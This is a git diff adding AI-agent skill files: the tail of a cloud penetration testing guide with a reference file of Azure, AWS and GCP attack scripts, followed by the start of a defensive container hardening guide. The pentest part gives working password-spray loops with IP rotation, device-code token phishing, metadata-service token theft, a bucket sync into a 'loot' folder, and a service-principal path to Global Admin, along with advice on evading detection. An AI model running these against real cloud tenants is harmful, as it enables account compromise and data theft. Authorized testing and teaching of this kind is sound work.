+|--------|---------| +| Login | `Connect-AzAccount` | +| List subscriptions | `Get-AzSubscription` | +| List users | `Get-MsolUser -All` | +| List groups | `Get-MsolGroup -All` | +| Current roles | `Get-AzRoleAssignment` | +| List VMs | `Get-AzVM` | +| List storage | `Get-AzStorageAccount` | +| Key Vault secrets | `az keyvault secret list --vault-name ` | + +### AWS Key Commands + +| Action | Command | +|--------|---------| +| Configure | `aws configure` | +| Caller identity | `aws sts get-caller-identity` | +| List users | `aws iam list-users` | +| List S3 buckets | `aws s3 ls` | +| List EC2 | `aws ec2 describe-instances` | +| List Lambda | `aws lambda list-functions` | +| Metadata | `curl http://169.254.169.254/latest/meta-data/` | + +### GCP Key Commands + +| Action | Command | +|--------|---------| +| Login | `gcloud auth login` | +| List projects | `gcloud projects list` | +| List instances | `gcloud compute instances list` | +| List buckets | `gsutil ls` | +| List clusters | `gcloud container clusters list` | +| IAM policy | `gcloud projects get-iam-policy ` | +| Metadata | `curl -H "Metadata-Flavor: Google" http://metadata.google.internal/...` | + +### Metadata Service URLs + +| Provider | URL | +|----------|-----| +| AWS | `http://169.254.169.254/latest/meta-data/` | +| Azure | `http://169.254.169.254/metadata/instance?api-version=2018-02-01` | +| GCP | `http://metadata.google.internal/computeMetadata/v1/` | + +### Useful Tools + +| Tool | Purpose | +|------|---------| +| ScoutSuite | Multi-cloud security auditing | +| Pacu | AWS exploitation framework | +| AzureHound | Azure AD attack path mapping | +| ROADTools | Azure AD enumeration | +| WeirdAAL | AWS service enumeration | +| MicroBurst | Azure security assessment | +| PowerZure | Azure post-exploitation | + +## Constraints and Limitations + +### Legal Requirements +- Only test with explicit written authorization +- Respect scope boundaries between cloud accounts +- Do not access production customer data +- Document all testing activities + +### Technical Limitations +- MFA may prevent credential-based attacks +- Conditional Access policies may restrict access +- CloudTrail/Activity Logs record all API calls +- Some resources require specific regional access + +### Detection Considerations +- Cloud providers log all API activity +- Unusual access patterns trigger alerts +- Use slow, deliberate enumeration +- Consider GuardDuty, Security Center, Cloud Armor + +## Examples + +### Example 1: Azure Password Spray + +**Scenario:** Test Azure AD password policy + +```powershell +# Using MSOLSpray with FireProx for IP rotation +# First create FireProx endpoint +python fire.py --access_key --secret_access_key --region us-east-1 --url https://login.microsoft.com --command create + +# Spray passwords +Import-Module .\MSOLSpray.ps1 +Invoke-MSOLSpray -UserList .\users.txt -Password "Spring2024!" -URL https://.execute-api.us-east-1.amazonaws.com/fireprox +``` + +### Example 2: AWS S3 Bucket Enumeration + +**Scenario:** Find and access misconfigured S3 buckets + +```bash +# List all buckets +aws s3 ls | awk '{print $3}' > buckets.txt + +# Check each bucket for contents +while read bucket; do + echo "Checking: $bucket" + aws s3 ls s3://$bucket 2>/dev/null +done < buckets.txt + +# Download interesting bucket +aws s3 sync s3://misconfigured-bucket ./loot/ +``` + +### Example 3: GCP Service Account Compromise + +**Scenario:** Pivot using compromised service account + +```bash +# Authenticate with service account key +gcloud auth activate-service-account --key-file compromised-sa.json + +# List accessible projects +gcloud projects list + +# Enumerate compute instances +gcloud compute instances list --project target-project + +# Check for SSH keys in metadata +gcloud compute project-info describe --project target-project | grep ssh + +# SSH to instance +gcloud beta compute ssh instance-name --zone us-central1-a --project target-project +``` + +## Troubleshooting + +| Issue | Solutions | +|-------|-----------| +| Authentication failures | Verify credentials; check MFA; ensure correct tenant/project; try alternative auth methods | +| Permission denied | List current roles; try different resources; check resource policies; verify region | +| Metadata service blocked | Check IMDSv2 (AWS); verify instance role; check firewall for 169.254.169.254 | +| Rate limiting | Add delays; spread across regions; use multiple credentials; focus on high-value targets | + +## References + +- [Advanced Cloud Scripts](references/advanced-cloud-scripts.md) - Azure Automation runbooks, Function Apps enumeration, AWS data exfiltration, GCP advanced exploitation + +## When to Use +This skill is applicable to execute the workflow or actions described in the overview. diff --git a/skills/cloud-penetration-testing/references/advanced-cloud-scripts.md b/skills/cloud-penetration-testing/references/advanced-cloud-scripts.md new file mode 100644 index 0000000000000000000000000000000000000000..5b15289daeefb54f5aae4ae046dbbb8b61f3a6e0 --- /dev/null +++ b/skills/cloud-penetration-testing/references/advanced-cloud-scripts.md @@ -0,0 +1,318 @@ +# Advanced Cloud Pentesting Scripts + +Reference: [Cloud Pentesting Cheatsheet by Beau Bullock](https://github.com/dafthack/CloudPentestCheatsheets) + +## Azure Automation Runbooks + +### Export All Runbooks from All Subscriptions + +```powershell +$subs = Get-AzSubscription +Foreach($s in $subs){ + $subscriptionid = $s.SubscriptionId + mkdir .\$subscriptionid\ + Select-AzSubscription -Subscription $subscriptionid + $runbooks = @() + $autoaccounts = Get-AzAutomationAccount | Select-Object AutomationAccountName,ResourceGroupName + foreach ($i in $autoaccounts){ + $runbooks += Get-AzAutomationRunbook -AutomationAccountName $i.AutomationAccountName -ResourceGroupName $i.ResourceGroupName | Select-Object AutomationAccountName,ResourceGroupName,Name + } + foreach($r in $runbooks){ + Export-AzAutomationRunbook -AutomationAccountName $r.AutomationAccountName -ResourceGroupName $r.ResourceGroupName -Name $r.Name -OutputFolder .\$subscriptionid\ + } +} +``` + +### Export All Automation Job Outputs + +```powershell +$subs = Get-AzSubscription +$jobout = @() +Foreach($s in $subs){ + $subscriptionid = $s.SubscriptionId + Select-AzSubscription -Subscription $subscriptionid + $jobs = @() + $autoaccounts = Get-AzAutomationAccount | Select-Object AutomationAccountName,ResourceGroupName + foreach ($i in $autoaccounts){ + $jobs += Get-AzAutomationJob $i.AutomationAccountName -ResourceGroupName $i.ResourceGroupName | Select-Object AutomationAccountName,ResourceGroupName,JobId + } + foreach($r in $jobs){ + $jobout += Get-AzAutomationJobOutput -AutomationAccountName $r.AutomationAccountName -ResourceGroupName $r.ResourceGroupName -JobId $r.JobId + } +} +$jobout | Out-File -Encoding ascii joboutputs.txt +``` + +## Azure Function Apps + +### List All Function App Hostnames + +```powershell +$functionapps = Get-AzFunctionApp +foreach($f in $functionapps){ + $f.EnabledHostname +} +``` + +### Extract Function App Information + +```powershell +$subs = Get-AzSubscription +$allfunctioninfo = @() +Foreach($s in $subs){ + $subscriptionid = $s.SubscriptionId + Select-AzSubscription -Subscription $subscriptionid + $functionapps = Get-AzFunctionApp + foreach($f in $functionapps){ + $allfunctioninfo += $f.config | Select-Object AcrUseManagedIdentityCred,AcrUserManagedIdentityId,AppCommandLine,ConnectionString,CorSupportCredentials,CustomActionParameter + $allfunctioninfo += $f.SiteConfig | fl + $allfunctioninfo += $f.ApplicationSettings | fl + $allfunctioninfo += $f.IdentityUserAssignedIdentity.Keys | fl + } +} +$allfunctioninfo +``` + +## Azure Device Code Login Flow + +### Initiate Device Code Login + +```powershell +$body = @{ + "client_id" = "1950a258-227b-4e31-a9cf-717495945fc2" + "resource" = "https://graph.microsoft.com" +} +$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" +$Headers = @{} +$Headers["User-Agent"] = $UserAgent +$authResponse = Invoke-RestMethod ` + -UseBasicParsing ` + -Method Post ` + -Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" ` + -Headers $Headers ` + -Body $body +$authResponse +``` + +Navigate to https://microsoft.com/devicelogin and enter the code. + +### Retrieve Access Tokens + +```powershell +$body = @{ + "client_id" = "1950a258-227b-4e31-a9cf-717495945fc2" + "grant_type" = "urn:ietf:params:oauth:grant-type:device_code" + "code" = $authResponse.device_code +} +$Tokens = Invoke-RestMethod ` + -UseBasicParsing ` + -Method Post ` + -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" ` + -Headers $Headers ` + -Body $body +$Tokens +``` + +## Azure Managed Identity Token Retrieval + +```powershell +# From Azure VM +Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com' -Method GET -Headers @{Metadata="true"} -UseBasicParsing + +# Full instance metadata +$instance = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/instance?api-version=2018-02-01' -Method GET -Headers @{Metadata="true"} -UseBasicParsing +$instance +``` + +## AWS Region Iteration Scripts + +Create `regions.txt`: +``` +us-east-1 +us-east-2 +us-west-1 +us-west-2 +ca-central-1 +eu-west-1 +eu-west-2 +eu-west-3 +eu-central-1 +eu-north-1 +ap-southeast-1 +ap-southeast-2 +ap-south-1 +ap-northeast-1 +ap-northeast-2 +ap-northeast-3 +sa-east-1 +``` + +### List All EC2 Public IPs + +```bash +while read r; do + aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $r | jq -r '.[]' >> ec2-public-ips.txt +done < regions.txt +sort -u ec2-public-ips.txt -o ec2-public-ips.txt +``` + +### List All ELB DNS Addresses + +```bash +while read r; do + aws elbv2 describe-load-balancers --query LoadBalancers[*].DNSName --region $r | jq -r '.[]' >> elb-public-dns.txt + aws elb describe-load-balancers --query LoadBalancerDescriptions[*].DNSName --region $r | jq -r '.[]' >> elb-public-dns.txt +done < regions.txt +sort -u elb-public-dns.txt -o elb-public-dns.txt +``` + +### List All RDS DNS Addresses + +```bash +while read r; do + aws rds describe-db-instances --query=DBInstances[*].Endpoint.Address --region $r | jq -r '.[]' >> rds-public-dns.txt +done < regions.txt +sort -u rds-public-dns.txt -o rds-public-dns.txt +``` + +### Get CloudFormation Outputs + +```bash +while read r; do + aws cloudformation describe-stacks --query 'Stacks[*].[StackName, Description, Parameters, Outputs]' --region $r | jq -r '.[]' >> cloudformation-outputs.txt +done < regions.txt +``` + +## ScoutSuite jq Parsing Queries + +### AWS Queries + +```bash +# Find All Lambda Environment Variables +for d in */ ; do + tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.awslambda.regions[].functions[] | select (.env_variables != []) | .arn, .env_variables' >> lambda-all-environment-variables.txt +done + +# Find World Listable S3 Buckets +for d in */ ; do + tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.account_id, .services.s3.findings."s3-bucket-AuthenticatedUsers-read".items[]' >> s3-buckets-world-listable.txt +done + +# Find All EC2 User Data +for d in */ ; do + tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].vpcs[].instances[] | select (.user_data != null) | .arn, .user_data' >> ec2-instance-all-user-data.txt +done + +# Find EC2 Security Groups That Whitelist AWS CIDRs +for d in */ ; do + tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.account_id' >> ec2-security-group-whitelists-aws-cidrs.txt + tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.findings."ec2-security-group-whitelists-aws".items' >> ec2-security-group-whitelists-aws-cidrs.txt +done + +# Find All EC2 EBS Volumes Unencrypted +for d in */ ; do + tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].volumes[] | select(.Encrypted == false) | .arn' >> ec2-ebs-volume-not-encrypted.txt +done + +# Find All EC2 EBS Snapshots Unencrypted +for d in */ ; do + tail $d/scoutsuite-results/scoutsuite_results*.js -n +2 | jq '.services.ec2.regions[].snapshots[] | select(.encrypted == false) | .arn' >> ec2-ebs-snapshot-not-encrypted.txt +done +``` + +### Azure Queries + +```bash +# List All Azure App Service Host Names +tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -r '.services.appservice.subscriptions[].web_apps[].host_names[]' + +# List All Azure SQL Servers +tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -jr '.services.sqldatabase.subscriptions[].servers[] | .name,".database.windows.net","\n"' + +# List All Azure Virtual Machine Hostnames +tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -jr '.services.virtualmachines.subscriptions[].instances[] | .name,".",.location,".cloudapp.windows.net","\n"' + +# List Storage Accounts +tail scoutsuite_results_azure-tenant-*.js -n +2 | jq -r '.services.storageaccounts.subscriptions[].storage_accounts[] | .name' + +# List Disks Encrypted with Platform Managed Keys +tail scoutsuite_results_azure-tenant-*.js -n +2 | jq '.services.virtualmachines.subscriptions[].disks[] | select(.encryption_type = "EncryptionAtRestWithPlatformKey") | .name' > disks-with-pmks.txt +``` + +## Password Spraying with Az PowerShell + +```powershell +$userlist = Get-Content userlist.txt +$passlist = Get-Content passlist.txt +$linenumber = 0 +$count = $userlist.count +foreach($line in $userlist){ + $user = $line + $pass = ConvertTo-SecureString $passlist[$linenumber] -AsPlainText -Force + $current = $linenumber + 1 + Write-Host -NoNewline ("`r[" + $current + "/" + $count + "]" + "Trying: " + $user + " and " + $passlist[$linenumber]) + $linenumber++ + $Cred = New-Object System.Management.Automation.PSCredential ($user, $pass) + try { + Connect-AzAccount -Credential $Cred -ErrorAction Stop -WarningAction SilentlyContinue + Add-Content valid-creds.txt ($user + "|" + $passlist[$linenumber - 1]) + Write-Host -ForegroundColor green ("`nGot something here: $user and " + $passlist[$linenumber - 1]) + } + catch { + $Failure = $_.Exception + if ($Failure -match "ID3242") { continue } + else { + Write-Host -ForegroundColor green ("`nGot something here: $user and " + $passlist[$linenumber - 1]) + Add-Content valid-creds.txt ($user + "|" + $passlist[$linenumber - 1]) + Add-Content valid-creds.txt $Failure.Message + Write-Host -ForegroundColor red $Failure.Message + } + } +} +``` + +## Service Principal Attack Path + +```bash +# Reset service principal credential +az ad sp credential reset --id +az ad sp credential list --id + +# Login as service principal +az login --service-principal -u "app id" -p "password" --tenant --allow-no-subscriptions + +# Create new user in tenant +az ad user create --display-name --password --user-principal-name + +# Add user to Global Admin via MS Graph +$Body="{'principalId':'User Object ID', 'roleDefinitionId': '62e90394-69f5-4237-9190-012177145e10', 'directoryScopeId': '/'}" +az rest --method POST --uri https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments --headers "Content-Type=application/json" --body $Body +``` + +## Additional Tools Reference + +| Tool | URL | Purpose | +|------|-----|---------| +| MicroBurst | github.com/NetSPI/MicroBurst | Azure security assessment | +| PowerZure | github.com/hausec/PowerZure | Azure post-exploitation | +| ROADTools | github.com/dirkjanm/ROADtools | Azure AD enumeration | +| Stormspotter | github.com/Azure/Stormspotter | Azure attack path graphing | +| MSOLSpray | github.com/dafthack | O365 password spraying | +| AzureHound | github.com/BloodHoundAD/AzureHound | Azure AD attack paths | +| WeirdAAL | github.com/carnal0wnage/weirdAAL | AWS enumeration | +| Pacu | github.com/RhinoSecurityLabs/pacu | AWS exploitation | +| ScoutSuite | github.com/nccgroup/ScoutSuite | Multi-cloud auditing | +| cloud_enum | github.com/initstring/cloud_enum | Public resource discovery | +| GitLeaks | github.com/zricethezav/gitleaks | Secret scanning | +| TruffleHog | github.com/dxa4481/truffleHog | Git secret scanning | +| ip2Provider | github.com/oldrho/ip2provider | Cloud IP identification | +| FireProx | github.com/ustayready/fireprox | IP rotation via AWS API Gateway | + +## Vulnerable Training Environments + +| Platform | URL | Purpose | +|----------|-----|---------| +| CloudGoat | github.com/RhinoSecurityLabs/cloudgoat | AWS vulnerable lab | +| SadCloud | github.com/nccgroup/sadcloud | Terraform misconfigs | +| Flaws Cloud | flaws.cloud | AWS CTF challenges | +| Thunder CTF | thunder-ctf.cloud | GCP CTF challenges | diff --git a/skills/container-security-hardening/SKILL.md b/skills/container-security-hardening/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..40bb372f0ec3b62165e55106074dffab742267dd --- /dev/null +++ b/skills/container-security-hardening/SKILL.md @@ -0,0 +1,1001 @@ +--- +name: container-security-hardening +description: > + Harden Docker/container images and runtime deployments with secure base images, + non-root users, CVE scanning, SBOM/signing, seccomp/AppArmor, and Kubernetes + pod security controls. Use for Dockerfile security reviews, container CVEs, + image scanning, distroless images, or production hardening. +category: security +risk: safe +source: community +date_added: "2026-05-30" +--- + +# Container Security Hardening Skill + +A production-focused guide for building, scanning, and running containers securely — from Dockerfile authoring through runtime enforcement and supply chain integrity. + +--- + +## When to Use This Skill + +- User mentions Docker security, container hardening, or Dockerfile security review +- User asks about distroless images, non-root containers, or read-only filesystems +- User wants to scan images for CVEs with Trivy, Grype, or Snyk +- User mentions seccomp, AppArmor, Linux capabilities, or runtime security +- User asks "is my Dockerfile secure?" or "how do I reduce my image attack surface?" +- User wants to sign/verify images with Cosign or generate SBOMs +- User asks about Kubernetes pod security, NetworkPolicy, or RBAC hardening +- User says "fix container CVEs" or "harden my container for production" + +## When NOT to Use This Skill + +- The user is primarily asking about GitHub Actions CI/CD → recommend `github-actions-advanced` +- The user needs general Docker usage help (not security) → recommend `docker-expert` +- The user is working with Kubernetes orchestration beyond security → recommend `kubernetes-architect` +- The user needs application-level security (SQL injection, XSS) → recommend `api-security-best-practices` + +--- + +## Step 1: Understand Context Before Responding + +When invoked, first detect the current state: + +```bash +# Find Dockerfiles in the project +find . -name "Dockerfile*" -not -path "*/node_modules/*" | head -10 + +# Check for existing security tooling +ls .trivyignore .hadolint.yaml .snyk docker-compose*.yml 2>/dev/null + +# Inspect base images currently in use +grep -r "^FROM" $(find . -name "Dockerfile*") 2>/dev/null + +# Check if Kubernetes manifests exist +find . -name "*.yaml" -path "*/k8s/*" -o -name "*.yaml" -path "*/manifests/*" | head -10 +``` + +Then adapt recommendations to: +- The tech stack (Node, Python, Go, Java — affects base image choice) +- Whether this is Docker-only or Kubernetes-deployed +- The CI platform in use (for scanner integration) +- The existing base images and how far they are from best practice + +--- + +## The Five Layers of Container Security + +``` +1. Image Build → Minimal base, no secrets, non-root, read-only FS +2. Image Scanning → CVE scanning, SBOM, secret detection, Dockerfile lint +3. Runtime Security → Capabilities, seccomp, AppArmor, resource limits +4. Supply Chain → Signed images, pinned digests, trusted registries +5. Kubernetes Layer → Pod Security Admission, NetworkPolicy, RBAC, Kyverno +``` + +> Work through layers in order — hardening the image first gives the most leverage. +> See `references/base-image-comparison.md` for a full size/CVE trade-off table. + +--- + +## Layer 1: Dockerfile Hardening + +### 1.1 Use a Minimal Base Image + +```dockerfile +# ❌ AVOID — massive attack surface (~100–200 CVEs typical) +FROM ubuntu:latest +FROM node:20 + +# ✅ BETTER — slim variants (glibc, smaller apt footprint) +FROM node:20-slim +FROM python:3.12-slim + +# ✅ BEST — distroless (no shell, no package manager, built-in nonroot user) +FROM gcr.io/distroless/nodejs20-debian12 +FROM gcr.io/distroless/python3-debian12 +FROM gcr.io/distroless/static-debian12 # Go/Rust fully-static binaries + +# ✅ ALSO GREAT — Alpine (musl libc; verify app compatibility first) +FROM alpine:3.20 + +# ✅ ZERO ATTACK SURFACE — for fully static binaries only +FROM scratch +``` + +See `references/base-image-comparison.md` for the full trade-off matrix. + +### 1.2 Multi-Stage Build — Separate Build from Runtime + +Never ship build tools, compilers, or dev dependencies in a production image. + +```dockerfile +# syntax=docker/dockerfile:1 + +# ── Stage 1: Install & Build ────────────────────────────── +FROM node:20-slim AS builder +WORKDIR /build +COPY package*.json ./ +RUN npm ci # Install all deps (including devDeps) +COPY . . +RUN npm run build && npm prune --production + +# ── Stage 2: Runtime — minimal, no build tools ──────────── +FROM gcr.io/distroless/nodejs20-debian12@sha256: +LABEL org.opencontainers.image.source="https://github.com/org/repo" +LABEL org.opencontainers.image.revision="${BUILD_SHA}" +LABEL org.opencontainers.image.licenses="MIT" +WORKDIR /app +COPY --from=builder --chown=nonroot:nonroot /build/dist ./dist +COPY --from=builder --chown=nonroot:nonroot /build/node_modules ./node_modules +USER nonroot:nonroot # UID 65532 — built into distroless +EXPOSE 3000 +CMD ["dist/server.js"] +``` + +**Go / Rust static binary pattern:** +```dockerfile +FROM golang:1.22-alpine AS builder +WORKDIR /build +COPY go.* ./ +RUN go mod download +COPY . . +RUN CGO_ENABLED=0 GOOS=linux go build -ldflags="-s -w" -o app . + +FROM scratch # Zero attack surface +COPY --from=builder /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/ +COPY --from=builder /build/app /app +USER 65532:65532 +ENTRYPOINT ["/app"] +``` + +### 1.3 Run as Non-Root User + +```dockerfile +# For debian/ubuntu-based images — create dedicated user +RUN groupadd -r appgroup --gid 10001 && \ + useradd -r -g appgroup --uid 10001 --no-log-init appuser + +COPY --chown=appuser:appgroup . /app + +USER appuser # Switch before CMD/ENTRYPOINT — never run as root + +# ───────────────────────────────────────────────────────── +# For Alpine-based images +RUN addgroup -g 10001 -S appgroup && \ + adduser -u 10001 -S appuser -G appgroup + +# For distroless — nonroot (UID 65532) is already built in +USER nonroot:nonroot +``` + +### 1.4 Pin Base Images to Digest + +```dockerfile +# ❌ UNSAFE — tags are mutable; image can be silently overwritten (supply chain attack) +FROM node:20-slim + +# ✅ SAFE — SHA256 digest is cryptographically immutable +FROM node:20-slim@sha256:a1b2c3d4e5f6789abcdef0123456789abcdef0123456789abcdef0123456789ab +``` + +**Get the current digest:** +```bash +docker pull node:20-slim +docker inspect node:20-slim --format='{{index .RepoDigests 0}}' +``` + +**Automate digest pinning** with Renovate or Dependabot: +```json +// .renovaterc.json +{ + "extends": ["config:base"], + "dockerfile": { "enabled": true }, + "pinDigests": true +} +``` + +### 1.5 Never Bake Secrets into Images + +```dockerfile +# ❌ NEVER — secret in ENV or RUN; visible in `docker history` and layer cache +ENV AWS_SECRET_ACCESS_KEY=supersecret +RUN curl -H "Authorization: Bearer $TOKEN" https://api.example.com > config.json +ARG API_KEY # Also unsafe — visible in build args history + +# ✅ CORRECT — BuildKit secret mount (never persisted in any layer) +# syntax=docker/dockerfile:1 +RUN --mount=type=secret,id=api_token \ + curl -H "Authorization: Bearer $(cat /run/secrets/api_token)" \ + https://api.example.com/config > config.json +``` + +Build with: `docker build --secret id=api_token,src=./token.txt .` + +**Check your image for leaked secrets:** +```bash +docker history --no-trunc myapp:latest | grep -iE "secret|key|password|token" +trivy image --scanners secret myapp:latest +``` + +### 1.6 Read-Only Filesystem & No New Privileges + +```dockerfile +# In the Dockerfile — use exec form (no shell interpretation) +ENTRYPOINT ["node", "server.js"] # ✅ exec form +# ENTRYPOINT /bin/sh -c "node..." # ❌ shell form — spawns extra process + +# Define a HEALTHCHECK +HEALTHCHECK --interval=30s --timeout=5s --start-period=10s --retries=3 \ + CMD ["node", "-e", "require('http').get('http://localhost:3000/health', r => process.exit(r.statusCode === 200 ? 0 : 1))"] +``` + +Enforce read-only at runtime (see Layer 3). + +### 1.7 Minimal .dockerignore + +```dockerignore +# Always exclude these from build context +.git +.github +.env +.env.* +*.pem +*.key +node_modules +__pycache__ +.pytest_cache +coverage/ +dist/ +*.log +.DS_Store +Dockerfile* +docker-compose* +README.md +docs/ +tests/ +``` + +### 1.8 Full Hardened Dockerfile Example + +```dockerfile +# syntax=docker/dockerfile:1 + +# ── Build stage ─────────────────────────────────────────── +FROM node:20-slim AS builder +WORKDIR /build +COPY package*.json ./ +RUN --mount=type=cache,target=/root/.npm \ + npm ci +COPY . . +RUN npm run build && npm prune --production + +# ── Runtime stage ───────────────────────────────────────── +FROM gcr.io/distroless/nodejs20-debian12@sha256: + +LABEL org.opencontainers.image.source="https://github.com/org/repo" +LABEL org.opencontainers.image.revision="${BUILD_SHA}" +LABEL org.opencontainers.image.licenses="MIT" + +WORKDIR /app +COPY --from=builder --chown=nonroot:nonroot /build/dist ./dist +COPY --from=builder --chown=nonroot:nonroot /build/node_modules ./node_modules + +USER nonroot:nonroot +EXPOSE 3000 + +HEALTHCHECK --interval=30s --timeout=5s --start-period=10s --retries=3 \ + CMD ["node", "-e", "require('http').get('http://localhost:3000/health', r => process.exit(r.statusCode===200?0:1))"] + +CMD ["dist/server.js"] +``` + +--- + +## Layer 2: Image Scanning + +### 2.1 Trivy (Recommended — Fast, Comprehensive) + +```bash +# Install +brew install trivy # macOS +apt install trivy # Debian/Ubuntu +tmpdir="$(mktemp -d)" +trap 'rm -rf "$tmpdir"' EXIT +curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh \ + -o "$tmpdir/trivy-install.sh" +sed -n '1,160p' "$tmpdir/trivy-install.sh" +sh "$tmpdir/trivy-install.sh" + +# Scan an image for CVEs +trivy image myapp:latest + +# Fail CI on HIGH/CRITICAL severity +trivy image --exit-code 1 --severity HIGH,CRITICAL myapp:latest + +# Scan Dockerfile for misconfigurations +trivy config ./Dockerfile + +# Scan entire repo (vulnerabilities + secrets + misconfigs) +trivy fs --scanners vuln,secret,misconfig . + +# Generate SBOM (CycloneDX or SPDX) +trivy image --format cyclonedx --output sbom.json myapp:latest +trivy image --format spdx-json --output sbom.spdx.json myapp:latest + +# Ignore specific CVEs (add justification comments) +trivy image --ignorefile .trivyignore myapp:latest +``` + +**.trivyignore example:** +``` +# CVE-2023-1234 — only exploitable via X feature, not used in this app +CVE-2023-1234 + +# CVE-2023-5678 — fix not yet available; tracked in issue #42 +CVE-2023-5678 +``` + +### 2.2 Grype (Anchore Alternative) + +```bash +# Install +tmpdir="$(mktemp -d)" +trap 'rm -rf "$tmpdir"' EXIT +curl -sSfL https://raw.githubusercontent.com/anchore/grype/main/install.sh \ + -o "$tmpdir/grype-install.sh" +sed -n '1,160p' "$tmpdir/grype-install.sh" +sh "$tmpdir/grype-install.sh" + +# Scan image +grype myapp:latest + +# Fail on critical +grype myapp:latest --fail-on critical + +# Output SARIF for GitHub Security tab +grype myapp:latest -o sarif > results.sarif + +# Pair with Syft for SBOM generation +syft myapp:latest -o cyclonedx-json > sbom.json +grype sbom:sbom.json # Scan the SBOM directly +``` + +### 2.3 Hadolint — Dockerfile Linting + +```bash +# Run directly +docker run --rm -i hadolint/hadolint < Dockerfile + +# With config file +hadolint --config .hadolint.yaml --failure-threshold warning Dockerfile +``` + +**.hadolint.yaml:** +```yaml +failure-threshold: warning +ignore: + - DL3008 # Pin versions in apt-get (allow floating for base layer) +trustedRegistries: + - gcr.io + - ghcr.io + - public.ecr.aws +``` + +### 2.4 Secret Scanning in Images + +```bash +# Trivy covers secrets too +trivy image --scanners secret myapp:latest + +# Dedicated: TruffleHog +trufflehog docker --image myapp:latest + +# git-secrets to prevent committing secrets +git secrets --scan +``` + +### 2.5 CI Integration (GitHub Actions — SHA-Pinned) + +```yaml +permissions: + contents: read + security-events: write # Required for uploading SARIF + +jobs: + security-scan: + runs-on: ubuntu-24.04 + timeout-minutes: 20 + steps: + - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + + - name: Build image + run: docker build -t myapp:${{ github.sha }} . + + - name: Lint Dockerfile + uses: hadolint/hadolint-action@54c9adbab1582c2ef04b2016b760714a4bfde3cf # v3.1.0 + with: + dockerfile: Dockerfile + failure-threshold: warning + + - name: Scan with Trivy + uses: aquasecurity/trivy-action@6e7b7d1fd3e4fef0c5fa8cce1229c54b2c9bd0d8 # v0.28.0 + with: + image-ref: myapp:${{ github.sha }} + format: sarif + output: trivy-results.sarif + severity: HIGH,CRITICAL + exit-code: '1' + + - name: Upload results to GitHub Security tab + uses: github/codeql-action/upload-sarif@4f3212b61783c3c68e8309a0f18a699764811cda # v3.27.1 + if: always() # Upload even if scan found issues + with: + sarif_file: trivy-results.sarif +``` + +--- + +## Layer 3: Runtime Security + +### 3.1 docker run Hardening Flags + +```bash +docker run \ + --read-only \ # Read-only root filesystem + --tmpfs /tmp:noexec,nosuid,size=100m \ # Writable tmpfs for /tmp only + --tmpfs /var/run \ # For PID files if needed + --user 10001:10001 \ # Non-root UID:GID + --cap-drop ALL \ # Drop ALL Linux capabilities + --cap-add NET_BIND_SERVICE \ # Re-add only what's truly needed + --security-opt no-new-privileges:true \ # Prevent privilege escalation via setuid + --security-opt seccomp=seccomp.json \ # Custom seccomp profile + --security-opt apparmor=docker-default \ # AppArmor profile + --pids-limit 100 \ # Prevent fork bombs + --memory 512m \ # OOM protection + --memory-swap 512m \ # Disable swap + --cpus 1.0 \ # CPU limit + --network none \ # No network (if not needed) + --health-cmd "curl -f http://localhost:3000/health || exit 1" \ + --health-interval 30s \ + myapp:latest +``` + +### 3.2 Linux Capabilities — What to Drop and Keep + +Drop ALL, then explicitly add only what your app requires: + +| Capability | Purpose | Keep? | +|---|---|---| +| `NET_BIND_SERVICE` | Bind ports < 1024 | Only if binding a privileged port | +| `CHOWN` | Change file ownership | No — set ownership at build time | +| `SETUID` / `SETGID` | Switch user identity | No — drop always | +| `SYS_ADMIN` | Broad privileged operations | No — most dangerous capability | +| `NET_ADMIN` | Configure network interfaces | No (only network tools) | +| `SYS_PTRACE` | Debug/trace processes | No (only debugger containers) | +| `DAC_OVERRIDE` | Override file permissions | No — runs as correct user | +| `NET_RAW` | Raw sockets (ping) | No (blocked by default seccomp anyway) | + +> **Most web apps need zero capabilities.** `--cap-drop ALL` alone is often sufficient. + +### 3.3 Docker Compose Hardening + +```yaml +services: + app: + image: myapp:latest + read_only: true + user: "10001:10001" + tmpfs: + - /tmp:noexec,nosuid,size=100m + - /var/run:noexec,nosuid,size=10m + cap_drop: + - ALL + cap_add: + - NET_BIND_SERVICE # Only if binding port < 1024 + security_opt: + - no-new-privileges:true + - seccomp:./references/seccomp-profile-template.json + pids_limit: 100 + mem_limit: 512m + memswap_limit: 512m + cpus: 1.0 + healthcheck: + test: ["CMD", "curl", "-f", "http://localhost:3000/health"] + interval: 30s + timeout: 5s + retries: 3 + start_period: 10s + networks: + - backend + # Only expose externally if truly required + # ports: ["8080:8080"] + restart: unless-stopped + logging: + driver: json-file + options: + max-size: "10m" + max-file: "3" + +networks: + backend: + driver: bridge + internal: true # No external connectivity unless needed +``` + +### 3.4 Seccomp Profiles + +The Docker default seccomp profile blocks ~44 dangerous syscalls. For stricter control: + +```bash +# Step 1: Audit syscalls your app actually makes +docker run --security-opt seccomp=unconfined \ + --name audit-run myapp:latest & + +# Capture with strace +strace -c -p $(docker inspect --format '{{.State.Pid}}' audit-run) + +# Or with sysdig (more container-friendly) +sysdig -p "%syscall.type" container.name=audit-run | sort -u + +# Step 2: Build a custom profile from references/seccomp-profile-template.json +# Step 3: Apply 